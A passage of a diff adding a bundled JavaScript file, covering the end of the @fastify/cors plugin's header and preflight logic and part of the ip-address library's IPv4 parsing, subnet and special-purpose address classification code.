addCorsHeadersHandler(fastify, corsOptions, req, reply, next2); + }); + } + } + if (opts.logLevel !== void 0) logLevel = opts.logLevel; + if (opts.hideOptionsRoute !== void 0) hideOptionsRoute = opts.hideOptionsRoute; + fastify.options("*", { schema: { hide: hideOptionsRoute }, logLevel }, (req, reply) => { + if (!req.corsPreflightEnabled) { + reply.callNotFound(); + return; + } + reply.send(); + }); + next(); + } + function handleCorsOptionsDelegator(optionsResolver, fastify, opts, next) { + const hook = opts?.hook || defaultOptions.hook; + validateHook(hook, next); + if (optionsResolver.length === 2) { + if (hookWithPayload.indexOf(hook) !== -1) { + fastify.addHook(hook, function handleCors(req, reply, _payload, next2) { + handleCorsOptionsCallbackDelegator(optionsResolver, fastify, req, reply, next2); + }); + } else { + fastify.addHook(hook, function handleCors(req, reply, next2) { + handleCorsOptionsCallbackDelegator(optionsResolver, fastify, req, reply, next2); + }); + } + } else { + if (hookWithPayload.indexOf(hook) !== -1) { + fastify.addHook(hook, function handleCors(req, reply, _payload, next2) { + const ret2 = optionsResolver(req); + if (ret2 && typeof ret2.then === "function") { + ret2.then((options) => addCorsHeadersHandler(fastify, normalizeCorsOptions(options, true), req, reply, next2)).catch(next2); + return; + } + next2(new Error("Invalid CORS origin option")); + }); + } else { + fastify.addHook(hook, function handleCors(req, reply, next2) { + const ret2 = optionsResolver(req); + if (ret2 && typeof ret2.then === "function") { + ret2.then((options) => addCorsHeadersHandler(fastify, normalizeCorsOptions(options, true), req, reply, next2)).catch(next2); + return; + } + next2(new Error("Invalid CORS origin option")); + }); + } + } + } + function handleCorsOptionsCallbackDelegator(optionsResolver, fastify, req, reply, next) { + optionsResolver(req, (err, options) => { + if (err) { + next(err); + } else { + addCorsHeadersHandler(fastify, normalizeCorsOptions(options, true), req, reply, next); + } + }); + } + function normalizeCorsOptions(opts, dynamic) { + const corsOptions = { ...defaultOptions, ...opts }; + if (Array.isArray(opts.origin) && opts.origin.indexOf("*") !== -1) { + corsOptions.origin = "*"; + } + if (Number.isInteger(corsOptions.cacheControl)) { + corsOptions.cacheControl = `max-age=${corsOptions.cacheControl}`; + } else if (typeof corsOptions.cacheControl !== "string") { + corsOptions.cacheControl = null; + } + corsOptions.dynamic = dynamic || false; + return corsOptions; + } + function addCorsHeadersHandler(fastify, globalOptions, req, reply, next) { + const options = { ...globalOptions, ...req.routeOptions.config?.cors }; + if (typeof options.origin !== "string" && options.origin !== false || options.dynamic) { + addOriginToVaryHeader(reply); + } + const resolveOriginOption = typeof options.origin === "function" ? resolveOriginWrapper(fastify, options.origin) : (_, cb) => cb(null, options.origin); + resolveOriginOption(req, (error51, resolvedOriginOption) => { + if (error51 !== null) { + return next(error51); + } + if (resolvedOriginOption === false) { + return next(); + } + if (req.routeOptions.config?.cors === false) { + return next(); + } + if (!resolvedOriginOption) { + return next(new Error("Invalid CORS origin option")); + } + addCorsHeaders(req, reply, resolvedOriginOption, options); + if (req.raw.method === "OPTIONS" && options.preflight === true) { + if (options.strictPreflight === true && (!req.headers.origin || !req.headers["access-control-request-method"])) { + reply.status(400).type("text/plain").send("Invalid Preflight Request"); + return; + } + req.corsPreflightEnabled = true; + addPreflightHeaders(req, reply, options); + if (!options.preflightContinue) { + reply.code(options.optionsSuccessStatus).header("Content-Length", "0").send(); + return; + } + } + return next(); + }); + } + function addCorsHeaders(req, reply, originOption, corsOptions) { + const origin = getAccessControlAllowOriginHeader(req.headers.origin, originOption); + if (origin) { + reply.header("Access-Control-Allow-Origin", origin); + } + if (corsOptions.credentials) { + reply.header("Access-Control-Allow-Credentials", "true"); + } + if (corsOptions.exposedHeaders !== null) { + reply.header( + "Access-Control-Expose-Headers", + Array.isArray(corsOptions.exposedHeaders) ? corsOptions.exposedHeaders.join(", ") : corsOptions.exposedHeaders + ); + } + } + function addPreflightHeaders(req, reply, corsOptions) { + reply.header( + "Access-Control-Allow-Methods", + Array.isArray(corsOptions.methods) ? corsOptions.methods.join(", ") : corsOptions.methods + ); + if (corsOptions.allowedHeaders === null) { + addAccessControlRequestHeadersToVaryHeader(reply); + const reqAllowedHeaders = req.headers["access-control-request-headers"]; + if (reqAllowedHeaders !== void 0) { + reply.header("Access-Control-Allow-Headers", reqAllowedHeaders); + } + } else { + reply.header( + "Access-Control-Allow-Headers", + Array.isArray(corsOptions.allowedHeaders) ? corsOptions.allowedHeaders.join(", ") : corsOptions.allowedHeaders + ); + } + if (corsOptions.maxAge !== null) { + reply.header("Access-Control-Max-Age", String(corsOptions.maxAge)); + } + if (corsOptions.cacheControl) { + reply.header("Cache-Control", corsOptions.cacheControl); + } + } + function resolveOriginWrapper(fastify, origin) { + return function(req, cb) { + const result = origin.call(fastify, req.headers.origin, cb); + if (result && typeof result.then === "function") { + result.then((res) => cb(null, res), cb); + } + }; + } + function getAccessControlAllowOriginHeader(reqOrigin, originOption) { + if (typeof originOption === "string") { + return originOption; + } + return isRequestOriginAllowed(reqOrigin, originOption) ? reqOrigin : false; + } + function isRequestOriginAllowed(reqOrigin, allowedOrigin) { + if (Array.isArray(allowedOrigin)) { + for (let i = 0; i < allowedOrigin.length; ++i) { + if (isRequestOriginAllowed(reqOrigin, allowedOrigin[i])) { + return true; + } + } + return false; + } else if (typeof allowedOrigin === "string") { + return reqOrigin === allowedOrigin; + } else if (allowedOrigin instanceof RegExp) { + allowedOrigin.lastIndex = 0; + return allowedOrigin.test(reqOrigin); + } else { + return !!allowedOrigin; + } + } + var _fastifyCors = fp(fastifyCors, { + fastify: "5.x", + name: "@fastify/cors" + }); + module.exports = _fastifyCors; + module.exports.fastifyCors = _fastifyCors; + module.exports.default = _fastifyCors; + } +}); + +// node_modules/.pnpm/ip-address@10.7.2/node_modules/ip-address/dist/address-error.js +var require_address_error = __commonJS({ + "node_modules/.pnpm/ip-address@10.7.2/node_modules/ip-address/dist/address-error.js"(exports) { + "use strict"; + Object.defineProperty(exports, "__esModule", { value: true }); + exports.AddressError = void 0; + var AddressError = class extends Error { + constructor(message2, parseMessage) { + super(message2); + this.name = "AddressError"; + this.parseMessage = parseMessage; + } + }; + exports.AddressError = AddressError; + } +}); + +// node_modules/.pnpm/ip-address@10.7.2/node_modules/ip-address/dist/common.js +var require_common = __commonJS({ + "node_modules/.pnpm/ip-address@10.7.2/node_modules/ip-address/dist/common.js"(exports) { + "use strict"; + Object.defineProperty(exports, "__esModule", { value: true }); + exports.isInSubnet = isInSubnet; + exports.isHostInSubnet = isHostInSubnet; + exports.isGloballyReachable = isGloballyReachable; + exports.offsetBigInt = offsetBigInt; + exports.isCorrect = isCorrect; + exports.prefixLengthFromMask = prefixLengthFromMask; + exports.assertByteArray = assertByteArray; + exports.numberToPaddedHex = numberToPaddedHex; + exports.stringToPaddedHex = stringToPaddedHex; + exports.testBit = testBit; + var address_error_1 = require_address_error(); + function isInSubnet(address) { + if (this.subnetMask < address.subnetMask) { + return false; + } + return isHostInSubnet.call(this, address); + } + function isHostInSubnet(address) { + if (this.binaryZeroPad().length !== address.binaryZeroPad().length) { + return false; + } + return this.mask(address.subnetMask) === address.mask(); + } + function isGloballyReachable(entries) { + let best = null; + for (let i = 0; i < entries.length; i++) { + const entry = entries[i]; + if (entry.reachable !== null && isHostInSubnet.call(this, entry.subnet) && (best === null || entry.subnet.subnetMask > best.subnet.subnetMask)) { + best = entry; + } + } + return best === null ? true : best.reachable; + } + function offsetBigInt(value, n, bits, family) { + if (typeof n === "number" && !Number.isSafeInteger(n)) { + throw new address_error_1.AddressError(`${family} offset must be an integer`); + } + if (typeof n !== "number" && typeof n !== "bigint") { + throw new address_error_1.AddressError(`${family} offset must be an integer`); + } + const result = value + BigInt(n); + if (result < BigInt(0) || result > (BigInt(1) << BigInt(bits)) - BigInt(1)) { + throw new address_error_1.AddressError(`${family} offset leaves the address space`); + } + return result; + } + function isCorrect(defaultBits) { + return function isCorrectForm() { + if (this.addressMinusSuffix !== this.correctForm()) { + return false; + } + if (this.subnetMask === defaultBits && !this.parsedSubnet) { + return true; + } + return this.parsedSubnet === String(this.subnetMask); + }; + } + function prefixLengthFromMask(value, totalBits) { + const binary = value.toString(2).padStart(totalBits, "0"); + if (binary.length > totalBits) { + throw new address_error_1.AddressError("Invalid subnet mask."); + } + const firstZero = binary.indexOf("0"); + if (firstZero === -1) { + return totalBits; + } + if (binary.slice(firstZero).includes("1")) { + throw new address_error_1.AddressError("Invalid subnet mask."); + } + return firstZero; + } + function assertByteArray(bytes, byteCount, family, minimum) { + if (bytes.length !== byteCount) { + throw new address_error_1.AddressError(`${family} addresses require exactly ${byteCount} bytes`); + } + for (let i = 0; i < bytes.length; i++) { + if (!Number.isInteger(bytes[i]) || bytes[i] < minimum || bytes[i] > 255) { + throw new address_error_1.AddressError(`All bytes must be integers between ${minimum} and 255`); + } + } + } + function numberToPaddedHex(number4) { + return number4.toString(16).padStart(2, "0"); + } + function stringToPaddedHex(numberString) { + return numberToPaddedHex(parseInt(numberString, 10)); + } + function testBit(binaryValue, position) { + const { length } = binaryValue; + if (position > length) { + return false; + } + const positionInString = length - position; + return binaryValue.substring(positionInString, positionInString + 1) === "1"; + } + } +}); + +// node_modules/.pnpm/ip-address@10.7.2/node_modules/ip-address/dist/v4/constants.js +var require_constants2 = __commonJS({ + "node_modules/.pnpm/ip-address@10.7.2/node_modules/ip-address/dist/v4/constants.js"(exports) { + "use strict"; + Object.defineProperty(exports, "__esModule", { value: true }); + exports.SPECIAL_PURPOSE = exports.RE_SUBNET_STRING = exports.RE_ADDRESS = exports.GROUPS = exports.BITS = void 0; + exports.BITS = 32; + exports.GROUPS = 4; + exports.RE_ADDRESS = /^(25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9]?[0-9])\.(25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9]?[0-9])\.(25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9]?[0-9])\.(25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9]?[0-9])$/g; + exports.RE_SUBNET_STRING = /\/\d{1,2}$/; + exports.SPECIAL_PURPOSE = [ + ["0.0.0.0/8", "This network", false], + ["0.0.0.0/32", "This host on this network", false], + ["10.0.0.0/8", "Private-Use", false], + ["100.64.0.0/10", "Shared Address Space", false], + ["127.0.0.0/8", "Loopback", false], + ["169.254.0.0/16", "Link Local", false], + ["172.16.0.0/12", "Private-Use", false], + ["192.0.0.0/24", "IETF Protocol Assignments", false], + ["192.0.0.0/29", "IPv4 Service Continuity Prefix", false], + ["192.0.0.8/32", "IPv4 dummy address", false], + ["192.0.0.9/32", "Port Control Protocol Anycast", true], + ["192.0.0.10/32", "Traversal Using Relays around NAT Anycast", true], + ["192.0.0.170/32", "NAT64/DNS64 Discovery", false], + ["192.0.0.171/32", "NAT64/DNS64 Discovery", false], + ["192.0.2.0/24", "Documentation (TEST-NET-1)", false], + ["192.31.196.0/24", "AS112-v4", true], + ["192.52.193.0/24", "AMT", true], + ["192.88.99.0/24", "Deprecated (6to4 Relay Anycast)", null], + ["192.88.99.2/32", "6a44-relay anycast address", false], + ["192.168.0.0/16", "Private-Use", false], + ["192.175.48.0/24", "Direct Delegation AS112 Service", true], + ["198.18.0.0/15", "Benchmarking", false], + ["198.51.100.0/24", "Documentation (TEST-NET-2)", false], + ["203.0.113.0/24", "Documentation (TEST-NET-3)", false], + ["240.0.0.0/4", "Reserved", false], + ["255.255.255.255/32", "Limited Broadcast", false] + ]; + } +}); + +// node_modules/.pnpm/ip-address@10.7.2/node_modules/ip-address/dist/ipv4.js +var require_ipv4 = __commonJS({ + "node_modules/.pnpm/ip-address@10.7.2/node_modules/ip-address/dist/ipv4.js"(exports) { + "use strict"; + var __createBinding = exports && exports.__createBinding || (Object.create ? function(o, m, k, k2) { + if (k2 === void 0) k2 = k; + var desc2 = Object.getOwnPropertyDescriptor(m, k); + if (!desc2 || ("get" in desc2 ? !m.__esModule : desc2.writable || desc2.configurable)) { + desc2 = { enumerable: true, get: function() { + return m[k]; + } }; + } + Object.defineProperty(o, k2, desc2); + } : function(o, m, k, k2) { + if (k2 === void 0) k2 = k; + o[k2] = m[k]; + }); + var __setModuleDefault = exports && exports.__setModuleDefault || (Object.create ? function(o, v) { + Object.defineProperty(o, "default", { enumerable: true, value: v }); + } : function(o, v) { + o["default"] = v; + }); + var __importStar = exports && exports.__importStar || function(mod) { + if (mod && mod.__esModule) return mod; + var result = {}; + if (mod != null) { + for (var k in mod) if (k !== "default" && Object.prototype.hasOwnProperty.call(mod, k)) __createBinding(result, mod, k); + } + __setModuleDefault(result, mod); + return result; + }; + Object.defineProperty(exports, "__esModule", { value: true }); + exports.Address4 = void 0; + var common = __importStar(require_common()); + var constants = __importStar(require_constants2()); + var address_error_1 = require_address_error(); + var isCorrect4 = common.isCorrect(constants.BITS); + var Address4 = class _Address4 { + constructor(address) { + this.addressMinusSuffix = ""; + this.groups = constants.GROUPS; + this.parsedAddress = []; + this.parsedSubnet = ""; + this.subnet = "/32"; + this.subnetMask = 32; + this.v4 = true; + this.isCorrect = isCorrect4; + this.isInSubnet = common.isInSubnet; + this.isHostInSubnet = common.isHostInSubnet; + this.address = address; + const subnet = constants.RE_SUBNET_STRING.exec(address); + if (subnet) { + this.parsedSubnet = subnet[0].replace("/", ""); + this.subnetMask = parseInt(this.parsedSubnet, 10); + this.subnet = `/${this.subnetMask}`; + if (this.subnetMask < 0 || this.subnetMask > constants.BITS) { + throw new address_error_1.AddressError("Invalid subnet mask."); + } + address = address.replace(constants.RE_SUBNET_STRING, ""); + } + const longest = constants.GROUPS * 4 - 1; + if (address.length > longest) { + throw new address_error_1.AddressError(`IPv4 addresses are at most ${longest} characters.`); + } + this.addressMinusSuffix = address; + this.parsedAddress = this.parse(address); + } + /** + * Returns true if the given string is a valid IPv4 address (with optional + * CIDR subnet), false otherwise. Host bits in the subnet portion are + * allowed (e.g. `192.168.1.5/24` is valid); for strict network-address + * validation compare `correctForm()` to `startAddress().correctForm()`, + * or use `networkForm()`. + */ + static isValid(address) { + try { + new _Address4(address); + return true; + } catch { + return false; + } + } + /** + * Parses an IPv4 address string into its four octet groups and stores the + * result on `this.parsedAddress`. Called automatically by the constructor; + * you typically don't need to call it directly. Throws `AddressError` if + * the input is not a valid IPv4 address. + */ + parse(address) { + const groups = address.split("."); + if (groups.some((group) => /^0\d/.test(group))) { + throw new address_error_1.AddressError("IPv4 addresses can't have leading zeroes."); + } + if (!address.match(constants.RE_ADDRESS)) { + throw new address_error_1.AddressError("Invalid IPv4 address."); + } + return groups; + } + /** + * Returns the address in correct form: octets joined with `.` and any + * leading zeros stripped (e.g. `192.168.1.1`). For IPv4 this matches the + * canonical dotted-decimal representation. + */ + correctForm() { + return this.parsedAddress.map((part) => parseInt(part, 10)).join("."); + } + /** + * Construct an `Address4` from an address and a dotted-decimal subnet + * mask given as separate strings (e.g. as returned by Node's + * `os.networkInterfaces()`). Throws `AddressError` if the mask is + * non-contiguous (e.g. `255.0.255.0`). + * @example + * var address = Address4.fromAddressAndMask('192.168.1.1', '255.255.255.0'); + * address.subnetMask; // 24 + */ + static fromAddressAndMask(address, mask) { + const bits = common.prefixLengthFromMask(new _Address4(mask).bigInt(), constants.BITS); + return new _Address4(`${address}/${bits}`); + } + /** + * Construct an `Address4` from an address and a Cisco-style wildcard mask + * given as separate strings (e.g. `0.0.0.255` for a `/24`). The wildcard + * mask is the bitwise inverse of the subnet mask. Throws `AddressError` + * if the mask is non-contiguous (e.g. `0.255.0.255`). + * @example + * var address = Address4.fromAddressAndWildcardMask('10.0.0.1', '0.0.0.255'); + * address.subnetMask; // 24 + */ + static fromAddressAndWildcardMask(address, wildcardMask) { + const wildcard = new _Address4(wildcardMask).bigInt(); + const allOnes = (BigInt(1) << BigInt(constants.BITS)) - BigInt(1); + const mask = wildcard ^ allOnes; + const bits = common.prefixLengthFromMask(mask, constants.BITS); + return new _Address4(`${address}/${bits}`); + } + /** + * Construct an `Address4` from a wildcard pattern with trailing `*` + * octets. The number of trailing wildcards determines the prefix + * length: each `*` represents 8 bits. + * + * Only trailing whole-octet wildcards are supported. Partial-octet + * wildcards (e.g. `192.168.0.1*`) and interior wildcards (e.g. + * `192.*.0.1`) throw `AddressError`. + * @example + * Address4.fromWildcard('192.168.0.*').subnet; // '/24' + * Address4.fromWildcard('192.168.*.*').subnet; // '/16' + * Address4.fromWildcard('*.*.*.*').subnet; // '/0' + */ + static fromWildcard(input) { + const groups = input.split("."); + if (groups.length !== constants.GROUPS) { + throw new address_error_1.AddressError("Wildcard pattern must have 4 octets"); + } + let firstWildcard = -1; + for (let i = 0; i < groups.length; i++) { + if (groups[i] === "*") { + if (firstWildcard === -1) { + firstWildcard = i; + } + } else if (firstWildcard !== -1) { + throw new address_error_1.AddressError("Wildcard `*` must only appear in trailing octets (e.g. `192.168.0.*`)"); + } + } + const trailing = firstWildcard === -1 ? 0 : groups.length - firstWildcard; + const replaced = groups.map((g) => g === "*" ? "0" : g); + const subnetBits = constants.BITS - trailing * 8; + return new _Address4(`${replaced.join(".")}/${subnetBits}`); + } + /** + * Converts a hex string to an IPv4 address object. Accepts 8 hex digits + * with optional `:` separators (e.g. `'7f000001'` or `'7f:00:00:01'`). + * Throws `AddressError` for any other length or for non-hex characters. + * @param {string} hex - a hex string to convert + * @returns {Address4} + */ + static fromHex(hex3) { + const stripped = hex3.replace(/:/g, ""); + if (!/^[0-9a-fA-F]{8}$/.test(stripped)) { + throw new address_error_1.AddressError("IPv4 hex must be exactly 8 hex digits"); + } + const groups = []; + for (let i = 0; i < 8; i += 2) { + groups.push(parseInt(stripped.slice(i, i + 2), 16)); + } + return new _Address4(groups.join(".")); + } + /** + * Converts an integer into a IPv4 address object. The integer must be a + * non-negative safe integer in the range `[0, 2**32 - 1]`; otherwise + * `AddressError` is thrown. + * @param {integer} integer - a number to convert + * @returns {Address4} + */ + static fromInteger(integer3) { + if (!Number.isInteger(integer3) || integer3 < 0 || integer3 > 4294967295) { + throw new address_error_1.AddressError("IPv4 integer must be in the range 0 to 2**32 - 1"); + } + return _Address4.fromHex(integer3.toString(16).padStart(8, "0")); + } + /** + * Return an address from in-addr.arpa form: the four octets reversed, with + * or without the `.in-addr.arpa` suffix and root dot, in any case. Throws + * `AddressError` unless the reversed labels form a valid IPv4 address, so + * `fromArpa(x.reverseForm())` round-trips {@link reverseForm}. + * @param {string} arpaFormAddress - an 'in-addr.arpa' form ipv4 address + * @returns {Adress4} + * @example + * var address = Address4.fromArpa('42.2.0.192.in-addr.arpa.') + * address.correctForm(); // '192.0.2.42' + */ + static fromArpa(arpaFormAddress) { + const leader = arpaFormAddress.replace(/(\.in-addr\.arpa)?\.?$/i, ""); + const address = leader.split(".").reverse().join("."); + return new _Address4(address); + } + /** + * Converts an IPv4 address object to a hex string + * @returns {String} + */ + toHex() { + return this.parsedAddress.map((part) => common.stringToPaddedHex(part)).join(":"); + } + /** + * Converts an IPv4 address object to an array of bytes. + * + * To get a Node.js `Buffer`, wrap the result: `Buffer.from(address.toArray())`. + * @returns {Array} + */ + toArray() { + return this.parsedAddress.map((part) => parseInt(part, 10)); + } + /** + * Converts an IPv4 address object to an IPv6 address group + * @returns {String} + */ + toGroup6() { + const output = []; + let i; + for (i = 0; i < constants.GROUPS; i += 2) { + output.push(`${common.stringToPaddedHex(this.parsedAddress[i])}${common.stringToPaddedHex(this.parsedAddress[i + 1])}`); + } + return output.join(":"); + } + /** + * Returns the address as a `bigint` + * @returns {bigint} + */ + bigInt() { + return BigInt(`0x${this.parsedAddress.map((n) => common.stringToPaddedHex(n)).join("")}`); + } + /** + * Helper function getting start address. + * @returns {bigint} + */ + _startAddress() { + return BigInt(`0b${this.mask() + "0".repeat(constants.BITS - this.subnetMask)}`); + } + /** + * The first address in the range given by this address' subnet. + * Often referred to as the Network Address. + * @returns {Address4} + */ + startAddress() { + return _Address4.fromBigInt(this._startAddress()); + } + /** + * The first host address in the range given by this address's subnet ie + * the first address after the Network Address + * @returns {Address4} + */ + startAddressExclusive() { + const adjust = BigInt("1"); + return _Address4.fromBigInt(this._startAddress() + adjust); + } + /** + * Returns the address `n` addresses after this one (or before, when `n` is + * negative), keeping this address's subnet mask. Throws `AddressError` when + * the result would fall outside the IPv4 address space or `n` is not an + * integer. + * @param {number | bigint} n + * @returns {Address4} + * @example + * new Address4('10.0.0.0/24').offset(1).correctForm(); // '10.0.0.1' + */ + offset(n) { + return _Address4.fromBigInt(common.offsetBigInt(this.bigInt(), n, constants.BITS, "IPv4")).withSubnetMask(this.subnetMask); + } + /** + * Returns the network that follows this address's network: the address after + * {@link endAddress}, with the same subnet mask. Throws `AddressError` when + * this network is the last one in the address space. + * @returns {Address4} + * @example + * new Address4('10.0.0.0/24').nextNetwork().networkForm(); // '10.0.1.0/24' + */ + nextNetwork() { + return _Address4.fromBigInt(common.offsetBigInt(this._endAddress(), 1, constants.BITS, "IPv4")).withSubnetMask(this.subnetMask); + } + withSubnetMask(subnetMask) { + return new _Address4(`${this.correctForm()}/${subnetMask}`); + } + /** + * Helper function getting end address. + * @returns {bigint} + */ + _endAddress() { + return BigInt(`0b${this.mask() + "1".repeat(constants.BITS - this.subnetMask)}`); + } + /** + * The last address in the range given by this address' subnet + * Often referred to as the Broadcast + * @returns {Address4} + */ + endAddress() { + return _Address4.fromBigInt(this._endAddress()); + } + /** + * The last host address in the range given by this address's subnet ie + * the last address prior to the Broadcast Address + * @returns {Address4} + */ + endAddressExclusive() { + const adjust = BigInt("1"); + return _Address4.fromBigInt(this._endAddress() - adjust); + } + /** + * The dotted-decimal form of the subnet mask, e.g. `255.255.240.0` for + * a `/20`. Returns an `Address4`; call `.correctForm()` for the string. + * @returns {Address4} + */ + subnetMaskAddress() { + return _Address4.fromBigInt(BigInt(`0b${"1".repeat(this.subnetMask)}${"0".repeat(constants.BITS - this.subnetMask)}`)); + } + /** + * The Cisco-style wildcard mask, e.g. `0.0.0.255` for a `/24`. This is + * the bitwise inverse of `subnetMaskAddress()`. Returns an `Address4`; + * call `.correctForm()` for the string. + * @returns {Address4} + */ + wildcardMask() { + return _Address4.fromBigInt(BigInt(`0b${"0".repeat(this.subnetMask)}${"1".repeat(constants.BITS - this.subnetMask)}`)); + } + /** + * The network address in CIDR string form, e.g. `192.168.1.0/24` for + * `192.168.1.5/24`. For an address with no explicit subnet the prefix is + * `/32`, e.g. `networkForm()` on `192.168.1.5` returns `192.168.1.5/32`. + * @returns {string} + */ + networkForm() { + return `${this.startAddress().correctForm()}/${this.subnetMask}`; + } + /** + * Converts a BigInt to a v4 address object. The value must be in the + * range `[0, 2**32 - 1]`; otherwise `AddressError` is thrown. + * @param {bigint} bigInt - a BigInt to convert + * @returns {Address4} + */ + static fromBigInt(bigInt) { + if (bigInt < BigInt(0) || bigInt > BigInt(4294967295)) { + throw new address_error_1.AddressError("IPv4 BigInt must be in the range 0 to 2**32 - 1"); + } + return _Address4.fromHex(bigInt.toString(16).padStart(8, "0")); + } + /** + * Convert a byte array to an Address4 object. Throws `AddressError` unless + * given exactly 4 integers from 0 to 255. Signed bytes are rejected, so + * this differs from `Address6.fromByteArray`, which folds them; the two + * contracts converge on this stricter form in the next major version. + * + * To convert from a Node.js `Buffer`, spread it: `Address4.fromByteArray([...buf])`. + * @param {Array} bytes - an array of 4 bytes (0-255) + * @returns {Address4} + */ + static fromByteArray(bytes) { + common.assertByteArray(bytes, 4, "IPv4", 0); + return this.fromUnsignedByteArray(bytes); + } + /** + * Convert an unsigned byte array to an Address4 object. Throws + * `AddressError` unless given exactly 4 bytes, and rejects values outside + * 0 to 255 when parsing the resulting address. + * + * To convert from a Node.js `Buffer`, spread it: + * `Address4.fromUnsignedByteArray([...buf])`. + * @param {Array} bytes - an array of 4 unsigned bytes (0-255) + * @returns {Address4} + */ + static fromUnsignedByteArray(bytes) { + if (bytes.length !== 4) { + throw new address_error_1.AddressError("IPv4 addresses require exactly 4 bytes"); + } + const address = bytes.join("."); + return new _Address4(address); + } + /** + * Returns the first n bits of the address, defaulting to the + * subnet mask + * @returns {String} + */ + mask(mask) { + if (mask === void 0) { + mask = this.subnetMask; + } + return this.getBitsBase2(0, mask); + } + /** + * Returns the bits in the given range as a base-2 string + * @returns {string} + */ + getBitsBase2(start, end) { + return this.binaryZeroPad().slice(start, end); + } + /** + * Return the reversed in-addr.arpa form of the address, e.g. + * `42.2.0.192.in-addr.arpa.` for `192.0.2.42`. + * @param {Object} options + * @param {boolean} options.omitSuffix - omit the "in-addr.arpa" suffix + * @returns {String} + */ + reverseForm(options) { + if (!options) { + options = {}; + } + const reversed = this.correctForm().split(".").reverse().join("."); + if (options.omitSuffix) { + return reversed; + } + return `${reversed}.in-addr.arpa.`; + } + /** + * Returns true if the given address is a multicast address + * @returns {boolean} + */ + isMulticast() { + return this.isHostInSubnet(MULTICAST_V4); + } + /** + * Returns true if the address is in one of the [RFC 1918](https://datatracker.ietf.org/doc/html/rfc1918) private address ranges (`10.0.0.0/8`, `172.16.0.0/12`, `192.168.0.0/16`). + * @returns {boolean} + */ + isPrivate() { + return PRIVATE_V4.some((subnet) => this.isHostInSubnet(subnet)); + } + /** + * Returns true if the address is in the loopback range `127.0.0.0/8` ([RFC 1122](https://datatracker.ietf.org/doc/html/rfc1122)). + * @returns {boolean} + */ + isLoopback() { + return this.isHostInSubnet(LOOPBACK_V4); + } + /** + * Returns true if the address is in the link-local range `169.254.0.0/16` ([RFC 3927](https://datatracker.ietf.org/doc/html/rfc3927)). + * @returns {boolean} + */ + isLinkLocal() { + return this.isHostInSubnet(LINK_LOCAL_V4); + } + /** + * Returns true if the address is the unspecified address `0.0.0.0`. + * @returns {boolean} + */ + isUnspecified() { + return this.isHostInSubnet(UNSPECIFIED_V4); + } + /** + * Returns true if the address is the limited broadcast address `255.255.255.255` ([RFC 919](https://datatracker.ietf.org/doc/html/rfc919)). + * @returns {boolean} + */ + isBroadcast() { + return this.isHostInSubnet(BROADCAST_V4); + } + /** + * Returns true if the address is in the carrier-grade NAT range `100.64.0.0/10` ([RFC 6598](https://datatracker.ietf.org/doc/html/rfc6598)). + * @returns {boolean} + */ + isCGNAT() { + return this.isHostInSubnet(CGNAT_V4); + } + /** + * Returns true if the address is in one of the documentation ranges + * `192.0.2.0/24`, `198.51.100.0/24`, or `203.0.113.0/24` ([RFC 5737](https://datatracker.ietf.org/doc/html/rfc5737)). + * @returns {boolean} + */ + isDocumentation() { + return DOCUMENTATION_V4.some((subnet) => this.isHostInSubnet(subnet)); + } + /** + * Returns true if the address is in the benchmarking range `198.18.0.0/15` ([RFC 2544](https://datatracker.ietf.org/doc/html/rfc2544)). + * @returns {boolean} + */ + isBenchmarking() { + return this.isHostInSubnet(BENCHMARKING_V4); + } + /** + * Returns true if the address is in the reserved range `240.0.0.0/4` ([RFC 1112](https://datatracker.ietf.org/doc/html/rfc1112)), + * which includes the limited broadcast address. + * @returns {boolean} + */ + isReserved() { + return this.isHostInSubnet(RESERVED_V4); + } + /** + * Returns true if the address is globally reachable: not multicast, and not + * in any block the [IANA IPv4 Special-Purpose Address Registry](https://www.iana.org/assignments/iana-ipv4-special-registry/) + * marks as not globally reachable. That covers everything the individual + * classifiers name (private, loopback, link-local, CGNAT, unspecified, + * broadcast, documentation, benchmarking, reserved) and the blocks they do + * not, such as `0.0.0.0/8` and the IETF protocol assignments in + * `192.0.0.0/24`. This is the single predicate to use where a request must + * not reach an internal or special-purpose destination; see SECURITY.md. + * @returns {boolean} + */ + isGlobal() { + return !this.isMulticast() && common.isGloballyReachable.call(this, SPECIAL_PURPOSE_V4); + } + /** + * Returns a zero-padded base-2 string representation of the address + * @returns {string} + */ + binaryZeroPad() { + if (this._binaryZeroPad === void 0) { + this._binaryZeroPad = this.bigInt().toString(2).padStart(constants.BITS, "0"); + } + return this._binaryZeroPad; + } + /** + * Groups an IPv4 address for inclusion at the end of an IPv6 address. + * + * Returns an HTML fragment: each half of the address is wrapped in a + * `` carrying the group classes an address-inspector UI hovers on. + * The address content is HTML-escaped; anything you concatenate around it + * is your responsibility. + * @returns {String} + */ + groupForV6() { + const segments = this.parsedAddress; + return this.correctForm().replace(constants.RE_ADDRESS, `${segments.slice(0, 2).join(".")}.${segments.slice(2, 4).join(".")}`); + } + }; + exports.Address4 = Address4; + var MULTICAST_V4 = new Address4("224.0.0.0/4"); + var PRIVATE_V4 = [ + new Address4("10.0.0.0/8"), + new Address4("172.16.0.0/12"), + new Address4("192.168.0.0/16") + ]; + var LOOPBACK_V4 = new Address4("127.0.0.0/8"); + var LINK_LOCAL_V4 = new Address4("169.254.0.0/16"); + var UNSPECIFIED_V4 = new Address4("0.0.0.0/32"); + var BROADCAST_V4 = new Address4("255.255.255.255/32"); + var CGNAT_V4 = new Address4("100.64.0.0/10"); + var DOCUMENTATION_V4 = [ + new Address4("192.0.2.0/24"), + new Address4("198.51.100.0/24"), + new Address4("203.0.113.0/24") + ]; + var BENCHMARKING_V4 = new Address4("198.18.0.0/15"); + var RESERVED_V4 = new Address4("240.0.0.0/4"); + var SPECIAL_PURPOSE_V4 = constants.SPECIAL_PURPOSE.map(([cidr2, , reachable]) => ({ + subnet: new Address4(cidr2), + reachable + })); + } +}); + +// node_modules/.pnpm/ip-address@10.7.2/node_modules/ip-address/dist/v6/constants.js +var require_constants3 = __commonJS({ + "node_modules/.pnpm/ip-address@10.7.2/node_modules/ip-address/dist/v6/constants.js"(exports) { + "use strict"; + Object.defineProperty(exports, "__esModule", { value: true }); + exports.SPECIAL_PURPOSE = exports.RE_URL_WITH_PORT = exports.RE_URL = exports.RE_ZONE_STRING = exports.RE_SUBNET_STRING = exports.RE_BAD_ADDRESS = exports.RE_BAD_CHARACTERS = exports.TYPES = exports.SCOPES = exports.GROUPS = exports.BITS = void 0; + exports.BITS = 